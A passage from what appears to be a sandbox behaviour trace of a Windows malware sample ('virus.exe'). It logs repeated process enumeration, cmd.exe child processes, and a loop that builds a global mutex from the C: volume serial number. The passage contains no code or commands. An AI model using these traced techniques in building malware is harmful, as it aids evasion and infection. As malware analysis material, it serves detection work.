pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0194.178] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0194.178] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0194.179] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0 [0194.179] CloseHandle (hObject=0xe0) returned 1 [0194.179] Sleep (dwMilliseconds=0x1f4) [0194.869] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0194.871] Process32FirstW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.872] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0194.872] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0194.872] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0194.873] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0194.873] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0194.874] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0194.874] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0194.875] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0194.875] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0194.876] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.876] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.877] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.877] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.880] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.880] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0194.881] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.881] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.882] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0194.882] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0194.882] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0194.883] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0194.883] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0194.884] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.885] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0194.885] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0194.886] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0194.886] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0194.886] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0194.887] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0194.887] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0194.887] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0194.888] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0194.888] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0194.889] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0194.889] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0194.889] CloseHandle (hObject=0xe0) returned 1 [0194.889] Sleep (dwMilliseconds=0x1f4) [0195.714] GetProcessHeap () returned 0x6a0000 [0195.714] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4800 | out: hHeap=0x6a0000) returned 1 [0195.714] GetProcessHeap () returned 0x6a0000 [0195.714] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bc3e0 | out: hHeap=0x6a0000) returned 1 [0195.714] GetProcessHeap () returned 0x6a0000 [0195.714] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb030 | out: hHeap=0x6a0000) returned 1 Thread: id = 56 os_tid = 0x790 [0162.936] GetVersion () returned 0x1db10106 [0162.936] GetCurrentProcess () returned 0xffffffff [0162.936] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0xcffd4c | out: TokenHandle=0xcffd4c*=0x100) returned 1 [0162.937] GetTokenInformation (in: TokenHandle=0x100, TokenInformationClass=0x14, TokenInformation=0xcffd44, TokenInformationLength=0x4, ReturnLength=0xcffd48 | out: TokenInformation=0xcffd44, ReturnLength=0xcffd48) returned 1 [0162.937] CloseHandle (hObject=0x100) returned 1 [0162.937] GetProcessHeap () returned 0x6a0000 [0162.937] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba168 [0162.937] GetProcessHeap () returned 0x6a0000 [0162.937] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba280 [0162.937] GetProcessHeap () returned 0x6a0000 [0162.937] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba2a8 [0162.937] GetProcessHeap () returned 0x6a0000 [0162.937] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bfaa0 [0162.937] GetProcessHeap () returned 0x6a0000 [0162.937] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bfaa0 | out: hHeap=0x6a0000) returned 1 [0162.937] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba280, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0162.937] GetProcessHeap () returned 0x6a0000 [0162.937] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba2a8 | out: hHeap=0x6a0000) returned 1 [0162.937] GetProcessHeap () returned 0x6a0000 [0162.937] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba168 | out: hHeap=0x6a0000) returned 1 [0162.937] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0162.938] GetProcessHeap () returned 0x6a0000 [0162.938] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba280 | out: hHeap=0x6a0000) returned 1 [0162.938] GetProcessHeap () returned 0x6a0000 [0162.938] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4440 [0162.938] GetProcessHeap () returned 0x6a0000 [0162.938] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4488 [0162.938] GetProcessHeap () returned 0x6a0000 [0162.938] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4488, Size=0x72) returned 0x6afbb0 [0162.938] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0162.939] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x100 [0162.939] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0x0) returned 0x0 [0162.939] GetProcessHeap () returned 0x6a0000 [0162.939] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4440 | out: hHeap=0x6a0000) returned 1 [0162.939] GetProcessHeap () returned 0x6a0000 [0162.939] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6afbb0 | out: hHeap=0x6a0000) returned 1 [0162.939] ReleaseMutex (hMutex=0x100) returned 1 [0162.939] CloseHandle (hObject=0x100) returned 1 [0162.939] Sleep (dwMilliseconds=0x3e8) [0164.172] GetProcessHeap () returned 0x6a0000 [0164.172] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba3c0 [0164.172] GetProcessHeap () returned 0x6a0000 [0164.172] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba3e8 [0164.172] GetProcessHeap () returned 0x6a0000 [0164.172] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba410 [0164.172] GetProcessHeap () returned 0x6a0000 [0164.172] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bd2f8 [0164.172] GetProcessHeap () returned 0x6a0000 [0164.173] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bd2f8 | out: hHeap=0x6a0000) returned 1 [0164.173] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba3e8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0164.173] GetProcessHeap () returned 0x6a0000 [0164.173] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba410 | out: hHeap=0x6a0000) returned 1 [0164.173] GetProcessHeap () returned 0x6a0000 [0164.173] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba3c0 | out: hHeap=0x6a0000) returned 1 [0164.173] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.173] GetProcessHeap () returned 0x6a0000 [0164.173] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba3e8 | out: hHeap=0x6a0000) returned 1 [0164.173] GetProcessHeap () returned 0x6a0000 [0164.173] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b45f0 [0164.173] GetProcessHeap () returned 0x6a0000 [0164.173] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4638 [0164.173] GetProcessHeap () returned 0x6a0000 [0164.173] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4638, Size=0x72) returned 0x6afe30 [0164.173] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0164.173] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x120 [0164.174] WaitForSingleObject (hHandle=0x120, dwMilliseconds=0x0) returned 0x0 [0164.174] GetProcessHeap () returned 0x6a0000 [0164.174] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b45f0 | out: hHeap=0x6a0000) returned 1 [0164.174] GetProcessHeap () returned 0x6a0000 [0164.174] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6afe30 | out: hHeap=0x6a0000) returned 1 [0164.174] ReleaseMutex (hMutex=0x120) returned 1 [0164.174] CloseHandle (hObject=0x120) returned 1 [0164.174] Sleep (dwMilliseconds=0x3e8) [0165.382] GetProcessHeap () returned 0x6a0000 [0165.382] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6daf08 [0165.382] GetProcessHeap () returned 0x6a0000 [0165.382] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6daf30 [0165.382] GetProcessHeap () returned 0x6a0000 [0165.382] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6dafd0 [0165.382] GetProcessHeap () returned 0x6a0000 [0165.382] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x36d03b0 [0165.382] GetProcessHeap () returned 0x6a0000 [0165.382] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d03b0 | out: hHeap=0x6a0000) returned 1 [0165.382] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6daf30, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0165.382] GetProcessHeap () returned 0x6a0000 [0165.382] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dafd0 | out: hHeap=0x6a0000) returned 1 [0165.382] GetProcessHeap () returned 0x6a0000 [0165.383] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daf08 | out: hHeap=0x6a0000) returned 1 [0165.383] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0165.383] GetProcessHeap () returned 0x6a0000 [0165.383] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daf30 | out: hHeap=0x6a0000) returned 1 [0165.383] GetProcessHeap () returned 0x6a0000 [0165.383] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b47e8 [0165.383] GetProcessHeap () returned 0x6a0000 [0165.383] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4830 [0165.383] GetProcessHeap () returned 0x6a0000 [0165.383] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4830, Size=0x72) returned 0x6b0030 [0165.383] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0165.383] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1c4 [0165.384] WaitForSingleObject (hHandle=0x1c4, dwMilliseconds=0x0) returned 0x0 [0165.384] GetProcessHeap () returned 0x6a0000 [0165.384] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b47e8 | out: hHeap=0x6a0000) returned 1 [0165.384] GetProcessHeap () returned 0x6a0000 [0165.384] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b0030 | out: hHeap=0x6a0000) returned 1 [0165.384] ReleaseMutex (hMutex=0x1c4) returned 1 [0165.384] CloseHandle (hObject=0x1c4) returned 1 [0165.384] Sleep (dwMilliseconds=0x3e8) [0166.609] GetProcessHeap () returned 0x6a0000 [0166.609] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db0c0 [0166.609] GetProcessHeap () returned 0x6a0000 [0166.609] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db138 [0166.609] GetProcessHeap () returned 0x6a0000 [0166.609] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db070 [0166.609] GetProcessHeap () returned 0x6a0000 [0166.609] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x7991d0 [0166.609] GetProcessHeap () returned 0x6a0000 [0166.609] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7991d0 | out: hHeap=0x6a0000) returned 1 [0166.610] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db138, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0166.610] GetProcessHeap () returned 0x6a0000 [0166.610] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0166.610] GetProcessHeap () returned 0x6a0000 [0166.610] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db0c0 | out: hHeap=0x6a0000) returned 1 [0166.610] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0166.610] GetProcessHeap () returned 0x6a0000 [0166.610] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0166.610] GetProcessHeap () returned 0x6a0000 [0166.610] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0166.610] GetProcessHeap () returned 0x6a0000 [0166.610] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0166.610] GetProcessHeap () returned 0x6a0000 [0166.610] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b00b0 [0166.610] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0166.611] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1e4 [0166.611] WaitForSingleObject (hHandle=0x1e4, dwMilliseconds=0x0) returned 0x0 [0166.611] GetProcessHeap () returned 0x6a0000 [0166.611] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0166.611] GetProcessHeap () returned 0x6a0000 [0166.611] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0166.611] ReleaseMutex (hMutex=0x1e4) returned 1 [0166.611] CloseHandle (hObject=0x1e4) returned 1 [0166.611] Sleep (dwMilliseconds=0x3e8) [0168.350] GetProcessHeap () returned 0x6a0000 [0168.350] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db138 [0168.350] GetProcessHeap () returned 0x6a0000 [0168.350] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db0c0 [0168.350] GetProcessHeap 